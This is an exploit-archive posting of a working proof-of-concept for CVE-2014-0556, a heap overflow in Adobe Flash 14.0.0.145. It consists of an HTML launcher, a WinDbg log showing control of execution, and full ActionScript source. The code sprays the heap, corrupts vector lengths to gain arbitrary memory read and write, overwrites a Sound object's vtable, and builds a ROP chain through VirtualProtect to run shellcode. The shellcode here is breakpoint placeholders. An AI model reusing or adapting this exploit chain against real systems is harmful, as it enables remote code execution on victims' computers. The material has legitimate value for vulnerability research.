Adobe Flash 14.0.0.145 copyPixelsToByteArray() Heap Overflow

Related Vulnerabilities: CVE-2014-0556  
Publish Date: 30 Sep 2014
Author: hdarwin
                							

                /*
<html>
<head>
  <title>CVE-2014-0556</title>  
</head>
<body>
<object id="swf" width="100%" height="100%" data="NewProject.swf" type="application/x-shockwave-flash"></object><br>
<button onclick="swf.exploit()">STOP</button>
</body>
</html>
*/
/*
(1728.eb0): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d63048 esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d63048 cc              int     3
1:020> dd esp l4
08d63048  cccccccc cccccccc cccccccc cccccccc
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d63049 esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d63049 cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304a esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304a cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304b esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304b cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304c esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304c cc              int     3
*/
package 
{
  import flash.events.*
  import flash.media.*
  import flash.display.*
  import flash.geom.*
  import flash.utils.*
  import flash.text.*
  import flash.external.ExternalInterface

  public class Main extends Sprite {
    private var i0:uint
    private var i1:uint
    private var i2:uint
    private var i3:uint
    private var str:String = new String("CVE: CVE-2014-0556\nAuthor: hdarwin (@hdarwin89)\nTested on: Win7 SP1 x86 & Flash 14.0.0.145")
    private var ba:Vector.<ByteArray> = new Vector.<ByteArray>(3200)
    private var ob:Vector.<Object> = new Vector.<Object>(6400)
    private var bitmap:BitmapData = new BitmapData(0x100, 4, true, 0xffffffff)
    private var rect:Rectangle = new Rectangle(0, 0, 0x100, 4)
    private var snd:Sound
    private var vector:uint
    private var vtable:uint
    private var flash:uint
    public function Main():void {

      for (i0 = 0; i0 < 3200; i0++) {
        ba[i0] = new ByteArray()
        ba[i0].length = 0x2000
        ba[i0].position = 0xfffff000
      }

      for (i0 = 0; i0 < 3200; i0++) {
        if (i0 % 2 == 0) ba[i0] = null
        ob[i0 * 2] = new Vector.<uint>(1008)
        ob[i0 * 2 + 1] = new Vector.<uint>(1008)
      }
      
      bitmap.copyPixelsToByteArray(rect, ba[1601])

      for (i0 = 0; ; i0++)
        if (ob[i0].length != 1008) break
      
      ob[i0][1024 * 3 - 2] = 0xffffffff

      for (i1 = 0; ; i1++) {
        if (i0 == i1) continue
        if (ob[i1].length != 1008) break
      }
      
      ob[i1][0xFFFFFFFE - 1024 * 3] = 0xffffffff
      ob[i1][0xFFFFFFFE - 1024 * 3 + 1] = ob[i0][1024 * 3 - 1]
      ob[i0].fixed = true
      
      for (i2 = 1000; ; i2++) {
        if (ob[i1][0xFFFFFFFF - i2 + 0] == 0 && ob[i1][0xFFFFFFFF - i2 + 10] == 1 && ob[i1][0xFFFFFFFF - i2 + 5] == ob[i1][0xFFFFFFFF - i2 + 15]) {
            vector = ob[i1][0xFFFFFFFF - i2 + 11]
            break
        } else if (ob[i1][i2 + 0] == 0 && ob[i1][i2 + 10] == 1 && ob[i1][i2 + 5] == ob[i1][i2 + 15]) {
            vector = ob[i1][i2 + 11]
            break
        }
      }
      
      snd = new Sound()
      
      for (i2 = 0; i2 < 6400; i2++) {
        if (i2 == i0 || i2 == i1) continue
        ob[i2] = null
        ob[i2] = new Vector.<Object>(1014)
        ob[i2][0] = snd
        ob[i2][1] = snd
      }
      
      for (i2 = 0; ; i2++) {
        if (ob[i0][i2 + 0] == 1014 &&
          ob[i0][i2 + 1] == ob[i0][i2 + 2] &&
          ob[i0][i2 + 3] == 1
        ) {
          vtable = read(ob[i0][i2 + 1] - 1)
          flash = vtable - 0x00c3c1e8 // Flash32_14_0_0_145.ocx
          write(ob[i0][i2 + 1] - 1, vector + 0xf54)
          for (i3 = 0; i3 < 1008; i3++) {
            ob[i0][i3] = 0x41414100 | i3
          }
          ob[i0][0] = flash + 0x004d6c50 // POP EBP # RETN
          ob[i0][1] = flash + 0x004d6c50 // skip 4 bytes
          ob[i0][2] = flash + 0x00a21b36 // POP EBX # RETN
          ob[i0][3] = 0x00000201 // 0x00000201
          ob[i0][4] = flash + 0x008ec368 // POP EDX # RETN
          ob[i0][5] = 0x00000040 // 0x00000040
          ob[i0][6] = flash + 0x00691119 // POP ECX # RETN
          ob[i0][7] = vector + 2000 // Writable location
          ob[i0][8] = flash + 0x005986d2 // POP EDI # RETN
          ob[i0][9] = flash + 0x00061984 // RETN (ROP NOP)
          ob[i0][10] = flash + 0x001bf342 // POP ESI # RETN
          ob[i0][11] = flash + 0x0000d83f // JMP [EAX]
          ob[i0][12] = flash + 0x000222b5 // POP EAX # RETN
          ob[i0][13] = flash + 0x00b8a3a8 // ptr to VirtualProtect()
          ob[i0][14] = flash + 0x00785916 // PUSHAD # RETN
          ob[i0][15] = flash + 0x0017b966 // ptr to 'jmp esp'
          ob[i0][16] = 0xcccccccc // shellcode
          ob[i0][17] = 0xcccccccc // shellcode
          ob[i0][18] = 0xcccccccc // shellcode
          ob[i0][19] = 0xcccccccc // shellcode
          ob[i0][979] = flash + 0x0029913A // POP EAX # RETN
          ob[i0][980] = 0x00000f58
          ob[i0][981] = flash + 0x00195558 // PUSH ESP # POP ESI # RETN
          ob[i0][982] = flash + 0x0036B3B2 // SUB ESI,EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN
          ob[i0][985] = flash + 0x0095024c // XCHG EAX,ESP # RETN
          ob[i0][1007] = flash + 0x0095024c // XCHG EAX,ESP # RETN
          break
        }
      }
      
      ob[i1][0xFFFFFFFE - 1024 * 3] = 4096
      ob[i0][1024 * 3 - 2] = 0
      str += flash.toString(16)
      var tf:TextField = new TextField(); tf.width = 800; tf.height = 800; tf.text = str; addChild(tf)
      
      if (ExternalInterface.available) ExternalInterface.addCallback("exploit", exploit)
    }
        
    private function write(addr:uint, data:uint):void {
      ob[i0][(addr - vector) / 4 - 2] = data
    }

    private function read(addr:uint):uint {
      return ob[i0][(addr - vector) / 4 - 2]
    }
    
    private function zeroPad(number:String, width:int):String {
      if (number.length < width)
        return "0" + zeroPad(number, width-1)
      return number
    }
    
    public function exploit():void {
      snd.toString()
    }
  }
}
<p>